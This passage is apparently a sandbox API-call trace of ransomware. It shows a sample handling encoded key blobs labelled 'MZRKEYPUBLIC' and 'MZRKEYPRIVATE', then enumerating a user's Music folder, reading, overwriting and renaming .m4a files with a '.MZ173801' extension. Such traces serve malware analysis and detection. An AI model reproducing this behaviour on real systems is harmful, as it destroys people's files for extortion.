PwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.899] GetCurrentThreadId () returned 0xab4 [0158.899] GetCurrentThreadId () returned 0xab4 [0158.899] GetCurrentThreadId () returned 0xab4 [0158.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250e56c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.900] GetCurrentThreadId () returned 0xab4 [0158.900] GetCurrentThreadId () returned 0xab4 [0158.900] GetCurrentThreadId () returned 0xab4 [0158.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\oj2plkbc7rcn.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.900] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.900] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.900] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x5102 [0158.900] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.900] ReadFile (in: hFile=0x27c, lpBuffer=0x2516370, nNumberOfBytesToRead=0x5102, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x2516370*, lpNumberOfBytesRead=0x19f1b4*=0x5102, lpOverlapped=0x0) returned 1 [0158.901] CloseHandle (hObject=0x27c) returned 1 [0158.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\oj2plkbc7rcn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.903] WriteFile (in: hFile=0x27c, lpBuffer=0x251c3a0*, nNumberOfBytesToWrite=0x5102, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x251c3a0*, lpNumberOfBytesWritten=0x19f1c0*=0x5102, lpOverlapped=0x0) returned 1 [0158.904] CloseHandle (hObject=0x27c) returned 1 [0158.915] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\oj2plkbc7rcn.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\oj2plkbc7rcn.m4a.mz173801")) returned 1 [0158.916] GetCurrentThreadId () returned 0xab4 [0158.916] GetCurrentThreadId () returned 0xab4 [0158.916] GetCurrentThreadId () returned 0xab4 [0158.916] GetCurrentThreadId () returned 0xab4 [0158.916] GetCurrentThreadId () returned 0xab4 [0158.916] GetCurrentThreadId () returned 0xab4 [0158.916] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05c710, ftCreationTime.dwHighDateTime=0x1d5f051, ftLastAccessTime.dwLowDateTime=0x1e971d00, ftLastAccessTime.dwHighDateTime=0x1d5e2dc, ftLastWriteTime.dwLowDateTime=0x1e971d00, ftLastWriteTime.dwHighDateTime=0x1d5e2dc, nFileSizeHigh=0x0, nFileSizeLow=0x5102, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="oj2PlKbc7rCn.m4a", cAlternateFileName="OJ2PLK~1.M4A")) returned 0 [0158.916] GetLastError () returned 0x12 [0158.916] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.916] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x516b3e0, ftCreationTime.dwHighDateTime=0x1d5ef25, ftLastAccessTime.dwLowDateTime=0x88dc822f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88dc822f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.916] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0158.916] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.916] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x516b3e0, ftCreationTime.dwHighDateTime=0x1d5ef25, ftLastAccessTime.dwLowDateTime=0x88dc822f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88dc822f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0158.916] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.917] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.917] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ff84c50, ftCreationTime.dwHighDateTime=0x1d5e6ae, ftLastAccessTime.dwLowDateTime=0xb3f5bf20, ftLastAccessTime.dwHighDateTime=0x1d5e8b1, ftLastWriteTime.dwLowDateTime=0x88d0946a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x15335, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="5kfHm.m4a.MZ173801", cAlternateFileName="5KFHMM~1.MZ1")) returned 1 [0158.917] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.917] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.917] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17ec0cd0, ftCreationTime.dwHighDateTime=0x1d5e38c, ftLastAccessTime.dwLowDateTime=0xbc00d760, ftLastAccessTime.dwHighDateTime=0x1d5ebd9, ftLastWriteTime.dwLowDateTime=0x88d2f78d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11d59, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="k07tTnZjrtR20ZMVLMQ.m4a.MZ173801", cAlternateFileName="K07TTN~1.MZ1")) returned 1 [0158.917] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.917] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.917] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d2f900, ftCreationTime.dwHighDateTime=0x1d5eab5, ftLastAccessTime.dwLowDateTime=0xe34c7800, ftLastAccessTime.dwHighDateTime=0x1d5eed2, ftLastWriteTime.dwLowDateTime=0x88da2e1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe422, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="l5xkq_P4B0Vr6xH.m4a.MZ173801", cAlternateFileName="L5XKQ_~1.MZ1")) returned 1 [0158.917] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.917] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.917] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05c710, ftCreationTime.dwHighDateTime=0x1d5f051, ftLastAccessTime.dwLowDateTime=0x1e971d00, ftLastAccessTime.dwHighDateTime=0x1d5e2dc, ftLastWriteTime.dwLowDateTime=0x88da2e1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5102, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="oj2PlKbc7rCn.m4a.MZ173801", cAlternateFileName="OJ2PLK~1.MZ1")) returned 1 [0158.917] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.917] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.917] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05c710, ftCreationTime.dwHighDateTime=0x1d5f051, ftLastAccessTime.dwLowDateTime=0x1e971d00, ftLastAccessTime.dwHighDateTime=0x1d5e2dc, ftLastWriteTime.dwLowDateTime=0x88da2e1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5102, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="oj2PlKbc7rCn.m4a.MZ173801", cAlternateFileName="OJ2PLK~1.MZ1")) returned 0 [0158.917] GetLastError () returned 0x12 [0158.917] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.917] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39598360, ftCreationTime.dwHighDateTime=0x1d5e2c5, ftLastAccessTime.dwLowDateTime=0xcbd392c0, ftLastAccessTime.dwHighDateTime=0x1d5e271, ftLastWriteTime.dwLowDateTime=0xcbd392c0, ftLastWriteTime.dwHighDateTime=0x1d5e271, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="LFHpZh3EGDvVG", cAlternateFileName="LFHPZH~1")) returned 1 [0158.917] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.917] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.917] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39598360, ftCreationTime.dwHighDateTime=0x1d5e2c5, ftLastAccessTime.dwLowDateTime=0xcbd392c0, ftLastAccessTime.dwHighDateTime=0x1d5e271, ftLastWriteTime.dwLowDateTime=0xcbd392c0, ftLastWriteTime.dwHighDateTime=0x1d5e271, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.917] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39598360, ftCreationTime.dwHighDateTime=0x1d5e2c5, ftLastAccessTime.dwLowDateTime=0xcbd392c0, ftLastAccessTime.dwHighDateTime=0x1d5e271, ftLastWriteTime.dwLowDateTime=0xcbd392c0, ftLastWriteTime.dwHighDateTime=0x1d5e271, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0158.918] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509c68d0, ftCreationTime.dwHighDateTime=0x1d5ed97, ftLastAccessTime.dwLowDateTime=0x785f9230, ftLastAccessTime.dwHighDateTime=0x1d5ed55, ftLastWriteTime.dwLowDateTime=0x785f9230, ftLastWriteTime.dwHighDateTime=0x1d5ed55, nFileSizeHigh=0x0, nFileSizeLow=0x10efa, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="7xXZSvgm4j.m4a", cAlternateFileName="7XXZSV~1.M4A")) returned 1 [0158.918] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0158.918] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\7xxzsvgm4j.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509c68d0, ftCreationTime.dwHighDateTime=0x1d5ed97, ftLastAccessTime.dwLowDateTime=0x785f9230, ftLastAccessTime.dwHighDateTime=0x1d5ed55, ftLastWriteTime.dwLowDateTime=0x785f9230, ftLastWriteTime.dwHighDateTime=0x1d5ed55, nFileSizeHigh=0x0, nFileSizeLow=0x10efa)) returned 1 [0158.918] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\7xxzsvgm4j.m4a")) returned 0x20 [0158.918] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\7xXZSvgm4j.m4a", dwFileAttributes=0x80) returned 1 [0158.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxw